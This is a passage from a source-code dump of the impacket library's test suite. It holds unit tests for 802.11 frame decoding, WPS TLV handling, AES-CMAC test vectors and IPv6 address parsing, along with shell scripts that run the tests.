self.in3=self.in2.child() 20 | if self.WEPKey: 21 | self.in4=self.in3.child() 22 | self.in5=self.in4.child() 23 | 24 | def test_01_Dot11Decoder(self): 25 | 'Test Dot11 decoder' 26 | if PY2: 27 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11") 28 | else: 29 | self.assertEqual(str(self.in0.__class__), "") 30 | 31 | def test_02_Dot11DataFrameDecoder(self): 32 | 'Test Dot11DataFrame decoder' 33 | if PY2: 34 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame") 35 | else: 36 | self.assertEqual(str(self.in1.__class__), "") 37 | 38 | def test_03_Dot11WEP(self): 39 | 'Test Dot11WEP decoder' 40 | if PY2: 41 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP") 42 | else: 43 | self.assertEqual(str(self.in2.__class__), "") 44 | 45 | def test_04_Dot11WEPData(self): 46 | 'Test Dot11WEPData decoder' 47 | 48 | if not self.WEPKey: 49 | return 50 | 51 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData") 52 | 53 | # Test if wep data "get_packet" is correct 54 | wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17' 55 | self.assertEqual(self.in3.get_packet(),wepdata) 56 | 57 | def test_05_LLC(self): 58 | 'Test LLC decoder' 59 | if self.WEPKey: 60 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC") 61 | 62 | def test_06_Data(self): 63 | 'Test LLC Data decoder' 64 | 65 | if self.WEPKey: 66 | dataclass=self.in4.__class__ 67 | else: 68 | dataclass=self.in3.__class__ 69 | 70 | self.assertTrue(str(dataclass).find('ImpactPacket.Data') > 0) 71 | 72 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Decoder) 73 | unittest.TextTestRunner(verbosity=1).run(suite) 74 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_FrameControlACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK 7 | import unittest 8 | 9 | class TestDot11FrameControlACK(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame ACK 13 | self.frame_orig=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT) 25 | 26 | self.ack = Dot11ControlFrameACK(d.get_body_as_string()) 27 | 28 | d.contains(self.ack) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.ack.get_header_size(), 8) 33 | self.assertEqual(self.ack.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.ack.get_duration(), 0) 39 | self.ack.set_duration(0x1234) 40 | self.assertEqual(self.ack.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.ack.get_ra() 46 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.ack.set_ra(ra) 50 | self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 51 | 52 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlACK) 53 | unittest.TextTestRunner(verbosity=1).run(suite) 54 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_FrameControlCFEnd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd 7 | import unittest 8 | 9 | class TestDot11FrameControlCFEnd(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame CFEnd 13 | self.frame_orig=b'\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END) 25 | 26 | self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string()) 27 | 28 | d.contains(self.cfend) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.cfend.get_header_size(), 14) 33 | self.assertEqual(self.cfend.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.cfend.get_duration(), 0x00) 39 | self.cfend.set_duration(0x1234) 40 | self.assertEqual(self.cfend.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.cfend.get_ra() 46 | self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.cfend.set_ra(ra) 50 | self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34]) 51 | 52 | def test_04_BSSID(self): 53 | 'Test BSS ID field' 54 | 55 | bssid=self.cfend.get_bssid() 56 | self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 57 | bssid[0]=0x12 58 | bssid[5]=0x34 59 | self.cfend.set_bssid(bssid) 60 | self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEnd) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_FrameControlCFEndCFACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK 7 | import unittest 8 | 9 | class TestDot11FrameControlCFEndCFACK(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame CFEndCFACK 13 | self.frame_orig=b'\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK) 25 | 26 | self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string()) 27 | 28 | d.contains(self.cfendcfack) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.cfendcfack.get_header_size(), 14) 33 | self.assertEqual(self.cfendcfack.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE) 39 | self.cfendcfack.set_duration(0x1234) 40 | self.assertEqual(self.cfendcfack.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.cfendcfack.get_ra() 46 | self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.cfendcfack.set_ra(ra) 50 | self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34]) 51 | 52 | def test_04_BSSID(self): 53 | 'Test BSS ID field' 54 | 55 | bssid=self.cfendcfack.get_bssid() 56 | self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a]) 57 | bssid[0]=0x12 58 | bssid[5]=0x34 59 | self.cfendcfack.set_bssid(bssid) 60 | self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEndCFACK) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_FrameControlCTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS 7 | import unittest 8 | 9 | class TestDot11FrameControlCTS(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame CTS 13 | self.frame_orig=b'\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND) 25 | 26 | self.cts = Dot11ControlFrameCTS(d.get_body_as_string()) 27 | 28 | d.contains(self.cts) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.cts.get_header_size(), 8) 33 | self.assertEqual(self.cts.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.cts.get_duration(), 4667) 39 | self.cts.set_duration(0x1234) 40 | self.assertEqual(self.cts.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.cts.get_ra() 46 | 47 | self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 48 | ra[0]=0x12 49 | ra[5]=0x34 50 | self.cts.set_ra(ra) 51 | self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 52 | 53 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCTS) 54 | unittest.TextTestRunner(verbosity=1).run(suite) 55 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_FrameControlPSPoll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll 7 | import unittest 8 | 9 | class TestDot11FrameControlPSPoll(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame PSPoll 13 | self.frame_orig=b'\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 25 | 26 | self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string()) 27 | 28 | d.contains(self.pspoll) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.pspoll.get_header_size(), 14) 33 | self.assertEqual(self.pspoll.get_tail_size(), 0) 34 | 35 | def test_02_AID(self): 36 | 'Test AID field' 37 | 38 | self.assertEqual(self.pspoll.get_aid(), 0xAFF1) 39 | self.pspoll.set_aid(0x1234) 40 | self.assertEqual(self.pspoll.get_aid(), 0x1234) 41 | 42 | def test_03_BSSID(self): 43 | 'Test BSS ID field' 44 | 45 | bssid=self.pspoll.get_bssid() 46 | self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9]) 47 | bssid[0]=0x12 48 | bssid[5]=0x34 49 | self.pspoll.set_bssid(bssid) 50 | self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34]) 51 | 52 | def test_04_TA(self): 53 | 'Test TA field' 54 | 55 | ta=self.pspoll.get_ta() 56 | self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a]) 57 | ta[0]=0x12 58 | ta[5]=0x34 59 | self.pspoll.set_ta(ta) 60 | self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlPSPoll) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_FrameControlRTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS 7 | import unittest 8 | 9 | class TestDot11FrameControlRTS(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Control Frame RTS 13 | self.frame_orig=b'\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73' 14 | 15 | d = Dot11(self.frame_orig) 16 | 17 | type = d.get_type() 18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 19 | 20 | subtype = d.get_subtype() 21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND) 22 | 23 | typesubtype = d.get_type_n_subtype() 24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND) 25 | 26 | self.rts = Dot11ControlFrameRTS(d.get_body_as_string()) 27 | 28 | d.contains(self.rts) 29 | 30 | def test_01_HeaderTailSize(self): 31 | 'Test Header and Tail Size field' 32 | self.assertEqual(self.rts.get_header_size(), 14) 33 | self.assertEqual(self.rts.get_tail_size(), 0) 34 | 35 | def test_02_Duration(self): 36 | 'Test Duration field' 37 | 38 | self.assertEqual(self.rts.get_duration(), 0x181) 39 | self.rts.set_duration(0x1234) 40 | self.assertEqual(self.rts.get_duration(), 0x1234) 41 | 42 | def test_03_RA(self): 43 | 'Test RA field' 44 | 45 | ra=self.rts.get_ra() 46 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 47 | ra[0]=0x12 48 | ra[5]=0x34 49 | self.rts.set_ra(ra) 50 | self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 51 | 52 | def test_04_TA(self): 53 | 'Test TA field' 54 | 55 | ta=self.rts.get_ta() 56 | self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 57 | ta[0]=0x12 58 | ta[5]=0x34 59 | self.rts.set_ta(ta) 60 | self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 61 | 62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlRTS) 63 | unittest.TextTestRunner(verbosity=1).run(suite) 64 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2003-2013 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # $Id$ 9 | # 10 | # Description: 11 | # Tests for helper used to build ProtocolPackets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | 16 | # sorry, this is very ugly, but I'm in python 2.5 17 | import sys 18 | sys.path.insert(0,"../../..") 19 | 20 | import unittest 21 | import impacket.helper as h 22 | 23 | class TestHelpers(unittest.TestCase): 24 | 25 | def test_well_formed(self): 26 | class MockPacket(h.ProtocolPacket): 27 | byte_field = h.Byte(0) 28 | word_field = h.Word(1, ">") 29 | three_bytes_field = h.ThreeBytesBigEndian(3) 30 | long_field = h.Long(6, ">") 31 | aliased_bit_field = h.Bit(0,0) 32 | 33 | header_size = 4 34 | tail_size = 0 35 | 36 | p = MockPacket() 37 | p.byte_field = 1 38 | p.word_field = 2 39 | p.three_bytes_field = 4 40 | p.long_field = 8 41 | 42 | self.assertEqual(1, p.byte_field) 43 | self.assertEqual(2, p.word_field) 44 | self.assertEqual(4, p.three_bytes_field) 45 | self.assertEqual(8, p.long_field) 46 | 47 | self.assertEqual(True, p.aliased_bit_field) 48 | 49 | p.aliased_bit_field = False 50 | 51 | self.assertEqual(0, p.byte_field) 52 | 53 | self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing. 54 | 55 | 56 | suite = unittest.TestLoader().loadTestsFromTestCase(TestHelpers) 57 | unittest.TextTestRunner(verbosity=1).run(suite) 58 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_wps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2003-2013 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # $Id$ 9 | # 10 | # Description: 11 | # Tests for WPS packets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | 16 | 17 | # sorry, this is very ugly, but I'm in python 2.5 18 | import sys 19 | sys.path.insert(0,"../../..") 20 | 21 | 22 | import unittest 23 | from impacket import wps 24 | import array 25 | 26 | 27 | class TestTLVContainer(unittest.TestCase): 28 | 29 | def testNormalUsageContainer(self): 30 | BUILDERS={ 31 | 1: wps.StringBuilder(), 32 | 2: wps.ByteBuilder(), 33 | 3: wps.NumBuilder(2) 34 | } 35 | tlvc = wps.TLVContainer(builders=BUILDERS) 36 | 37 | KINDS_N_VALUES = ( 38 | (1, b"Sarlanga"), 39 | (2, 1), 40 | (3, 1024), 41 | (4, array.array("B", [1,2,3])) 42 | ) 43 | for k,v in KINDS_N_VALUES: 44 | tlvc.append(k,v) 45 | 46 | tlvc2 = wps.TLVContainer(builders=BUILDERS) 47 | tlvc2.from_ary(tlvc.to_ary()) 48 | 49 | for k,v in KINDS_N_VALUES: 50 | self.assertEqual(v, tlvc2.first(k)) 51 | 52 | self.assertEqual(tlvc.to_ary(), tlvc2.to_ary()) 53 | self.assertEquals(b"Sarlanga", tlvc.first(1)) 54 | 55 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTLVContainer) 56 | unittest.TextTestRunner(verbosity=1).run(suite) 57 | -------------------------------------------------------------------------------- /impacket/tests/misc/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /impacket/tests/misc/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../..:$PYTHONPATH 5 | 6 | if [ $# -gt 0 ] 7 | then 8 | # Only run coverage when called by tox 9 | RUN="python -m coverage run --append --rcfile=../coveragerc " 10 | else 11 | RUN=python 12 | fi 13 | 14 | total=0 15 | ok=0 16 | failed=0 17 | for file in `ls *.py` ; do 18 | echo $separator 19 | echo Executing $RUN $file 20 | latest=$( 21 | $RUN $file 2>&1 | { 22 | while read line; do 23 | echo " $line" 1>&2 24 | latest="$line" 25 | done 26 | echo $latest 27 | } 28 | ) 29 | #echo Latest ${latest} 30 | result=${latest:0:6} 31 | if [ "$result" = "FAILED" ] 32 | then 33 | (( failed++ )) 34 | elif [ "$result" = "OK" ] 35 | then 36 | (( ok++ )) 37 | fi 38 | 39 | (( total++ )) 40 | done 41 | echo $separator 42 | echo Summary: 43 | echo " OK $ok/$total" 44 | echo " $failed FAILED" 45 | if [ "$failed" -gt 0 ]; then 46 | echo "ERROR" >&2 47 | exit 1 48 | fi 49 | -------------------------------------------------------------------------------- /impacket/tests/misc/test_crypto.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function, division 2 | import unittest 3 | from binascii import hexlify, unhexlify 4 | 5 | from impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128 6 | 7 | def by8(s): 8 | return [s[i:i+8] for i in range(0,len(s),8)] 9 | 10 | def hex8(b): 11 | return ' '.join(by8(hexlify(b).decode('ascii'))) 12 | 13 | def pp(prev ,s): 14 | print (prev, end= ' ') 15 | for c in by8(s): 16 | print(c, end=' ') 17 | # for i in range((len(s)//8)): 18 | # print("%s" % (s[:8]), end = ' ') 19 | # s = s[8:] 20 | print() 21 | return '' 22 | 23 | class CryptoTests(unittest.TestCase): 24 | def test_subkey(self): 25 | K = "2b7e151628aed2a6abf7158809cf4f3c" 26 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" 27 | 28 | K1, K2 = Generate_Subkey(unhexlify(K)) 29 | self.assertEqual(hex8(K1),'fbeed618 35713366 7c85e08f 7236a8de') 30 | self.assertEqual(hex8(K2),'f7ddac30 6ae266cc f90bc11e e46d513b') 31 | 32 | def test_AES_CMAC(self): 33 | K = "2b7e151628aed2a6abf7158809cf4f3c" 34 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" 35 | # Example 1: len = 0 36 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),0)), 37 | 'bb1d6929 e9593728 7fa37d12 9b756746') 38 | # Example 2: len = 16 39 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),16)), 40 | '070a16b4 6b4d4144 f79bdd9d d04a287c') 41 | # Example 3: len = 40 42 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),40)), 43 | 'dfa66747 de9ae630 30ca3261 1497c827') 44 | # Example 3: len = 64 45 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),64)), 46 | '51f0bebf 7e3b9d92 fc497417 79363cfe') 47 | M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b" 48 | K = "6c3473624099e17ff3a39ff6bdf6cc38" 49 | # Mac = dbf63fd93c4296609e2d66bf79251cb5 50 | # Example 4: len = 45 51 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),45)), 52 | 'dbf63fd9 3c429660 9e2d66bf 79251cb5') 53 | 54 | def test_AES_CMAC_PRF_128(self): 55 | K = "000102030405060708090a0b0c0d0e0fedcb" 56 | M = "000102030405060708090a0b0c0d0e0f10111213" 57 | 58 | # AES-CMAC-PRF-128 Test Vectors 59 | # Example 1: len = 0, Key Length 18 60 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M)))), 61 | '84a348a4 a45d235b abfffc0d 2b4da09a') 62 | # Example 1: len = 0, Key Length 16 63 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M)))), 64 | '980ae87b 5f4c9c52 14f5b6a8 455e4c2d') 65 | # Example 1: len = 0, Key Length 10 66 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M)))), 67 | '290d9e11 2edb09ee 141fcf64 c0b72f3d') 68 | 69 | if __name__ == "__main__": 70 | unittest.main(verbosity=1) 71 | -------------------------------------------------------------------------------- /impacket/tests/misc/test_ip6_address.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from binascii import hexlify 3 | from impacket.IP6_Address import IP6_Address 4 | 5 | def hexl(b): 6 | return hexlify(b).decode('ascii') 7 | 8 | class IP6AddressTests(unittest.TestCase): 9 | def test_bin(self): 10 | tests = (("A:B:C:D:E:F:1:2",'000a000b000c000d000e000f00010002', 11 | "A:B:C:D:E:F:1:2"), 12 | ("A:B:0:D:E:F:0:2",'000a000b0000000d000e000f00000002', 13 | "A:B::D:E:F:0:2"), 14 | ("A::BC:E:D",'000a000000000000000000bc000e000d', 15 | "A::BC:E:D"), 16 | ("A::BCD:EFFF:D",'000a00000000000000000bcdefff000d', 17 | "A::BCD:EFFF:D"), 18 | ("FE80:0000:0000:0000:020C:29FF:FE26:E251", 19 | 'fe80000000000000020c29fffe26e251', 20 | "FE80::20C:29FF:FE26:E251"), 21 | ("::",'00000000000000000000000000000000', 22 | "::"), 23 | ("1::",'00010000000000000000000000000000', 24 | "1::"), 25 | ("::2",'00000000000000000000000000000002', 26 | "::2"), 27 | ) 28 | # print IP6_Address("A::BC:E:D").as_string(False) 29 | for torig, thex, texp in tests: 30 | ip = IP6_Address(torig) 31 | byt = ip.as_bytes() 32 | self.assertEqual(hexl(byt), thex) 33 | self.assertEqual(ip.as_string(), texp) 34 | 35 | if not hasattr(unittest.TestCase,'assertRaisesRegex'): 36 | if hasattr(unittest.TestCase,'assertRaisesRegexp'): # PY2.7, PY3.1 37 | assertRaisesRegex = unittest.TestCase.assertRaisesRegexp 38 | else: # PY2.6 39 | def assertRaisesRegex(self,ex,rx,*args): 40 | # Just ignore the regex 41 | return self.assertRaises(ex,rx,*args) 42 | 43 | def test_malformed(self): 44 | with self.assertRaisesRegex(Exception,r'address size'): 45 | IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345") 46 | with self.assertRaisesRegex(Exception,r'triple colon'): 47 | IP6_Address(":::") 48 | with self.assertRaisesRegex(Exception,r'triple colon'): 49 | IP6_Address("::::") 50 | # Could also test other invalid inputs 51 | #IP6_Address("AB:CD:EF") 52 | #IP6_Address("12::34::56") 53 | #IP6_Address("00BCDE::") 54 | #IP6_Address("DEFG::") 55 | # and how about these... 56 | #IP6_Address("A::0XBC:D") 57 | #IP6_Address("B:-123::") 58 | #IP6_Address("B:56 ::-0xE") 59 | 60 | if __name__=='__main__': 61 | unittest.main(verbosity=1) 62 | -------------------------------------------------------------------------------- /impacket/tests/runall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ $# -gt 0 ] 3 | then 4 | SUFFIX=$1 5 | # Only run coverage when called by tox 6 | RUN="python -m coverage run --append --rcfile=../coveragerc " 7 | RUNLOCAL="python -m coverage run --append --rcfile=./coveragerc " 8 | COVERAGE=true 9 | else 10 | SUFFIX=XX 11 | RUN=python 12 | RUNLOCAL=python 13 | COVERAGE= 14 | fi 15 | 16 | export PYTHONPATH=../:$PYTHONPATH 17 | 18 | OUTPUTFILE=/tmp/impacketoutput$SUFFIX.txt 19 | # Let's remove the OUTPUTFILE in case it exists 20 | rm -f $OUTPUTFILE 21 | 22 | # Start running the tests 23 | 24 | echo Python Version 25 | python -V 26 | 27 | echo Walking modules 28 | $RUNLOCAL ./walkmodules.py 29 | 30 | echo Testing ImpactPacket 31 | cd ImpactPacket 32 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 33 | 34 | echo Testing dot11 35 | cd ../dot11 36 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 37 | 38 | # In some environments we don't have a Windows 2012 R2 Domain Controller, 39 | # so skip these tests. 40 | cd ../SMB_RPC 41 | echo test_spnego.py 42 | $RUN test_spnego.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 43 | echo test_ntlm.py 44 | $RUN test_ntlm.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 45 | 46 | if [ -z "$NO_REMOTE" ]; then 47 | echo Testing SMB RPC/LDAP 48 | export PYTHONPATH=../../:$PYTHONPATH 49 | echo test_smb.py 50 | $RUN test_smb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 51 | echo test_ldap.py 52 | $RUN test_ldap.py 